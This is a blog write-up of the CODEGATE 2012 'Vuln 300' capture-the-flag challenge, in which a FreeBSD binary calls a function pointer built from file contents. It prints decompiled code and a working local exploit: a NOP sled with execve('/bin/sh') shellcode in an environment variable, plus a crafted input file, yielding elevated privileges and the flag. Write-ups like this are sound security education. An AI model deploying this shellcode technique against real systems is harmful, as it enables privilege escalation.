26
Feb
2012

CODEGATE 2012 – Vuln 300

For this challenge you got an SSH account on a freeBSD where a vulnerable binary had to be exploited locally. The eventual goal is elevating privileges to be able to read the ‘password’ file.

Disassembly/decompilation of the binary yielded some pretty basic code. argv[1] is taken as a filename string, 12 bytes are read from it. Finally, after some mangling, the data from the file is used as the basis for a function pointer… yay.

Some shameless hex-rays copypasta:

  memset(&s, 144, 0x12u);
  stream = fopen(*(const char **)(*(_DWORD *)(v1 + 4) + 4), "r");
  if ( stream )
  {
    v19 = fread(&s, 1u, 0xCu, stream);
    if ( v19 == 12 )
    {
      fclose(stream);
      HIBYTE(v10) = BYTE1(v7);
      LOBYTE(v10) = BYTE2(v8);
      funcc = func;
      v17 = func;
      v2 = (unsigned __int8)v7 | 1;
      LOBYTE(v2) = v2 ^ 0xE0;
      v15 = v2 << 24;
      v3 = BYTE1(s) | 1;
      LOBYTE(v3) = v3 ^ 0xE0;
      v16 = v3 << 16;
      strncpy(test, (const char *)&s, 0x12u);
      v11 = v15;
      v12 = (unsigned __int16)funcc;
      v13 = v15 | (unsigned __int16)funcc;
      v14 = v16 | v15 | (unsigned __int16)funcc;
      v17 = (int (__cdecl *)())(v16 | v15 | (unsigned __int16)funcc);
      funcc = (int (*)(void))(v16 | v15 | (unsigned __int16)funcc);
      funcc();
      v5 = 0;
    }

Not the most readible code but controlling EIP seemed simple enough. *Reliably* controlling EIP however seemed a bit more tricky due to the mangling or lack of sleep (and a SSH connection that got kicked every N minutes :() so we quickly resorted to the shotgun approach!

Some assumptions about the environment:

  • FreeBSD, candyland for newbie exploit writers..
  • exec stack
  • no randomizing.
  • Stack starts at 0xc0000000 and grows down, we control environment which sits on top.. so what about using a nice universal address like 0xbfbfbfbf and a big NOP-sled in in an environment variable?

    After mangling our 0xbfbfbfbfbf gets turned in something like 0xbfbfef51, since the upper 2 bytes survive the mangling we’re OK. πŸ™‚

    $ export PAY=`perl -e 'print "\x90"x81920 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";'`
    $ echo -en "\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf" > derp
    $ ~/X ./derp
    $ id
    uid=1002(codeXing) gid=1002(codeXing) euid=1003(codeXing2) groups=1002(codeXing)
    $ cat ~/password
    key_is_The_davinci_cod3_!

    Flag: key_is_The_davinci_cod3_!

    Comments are closed.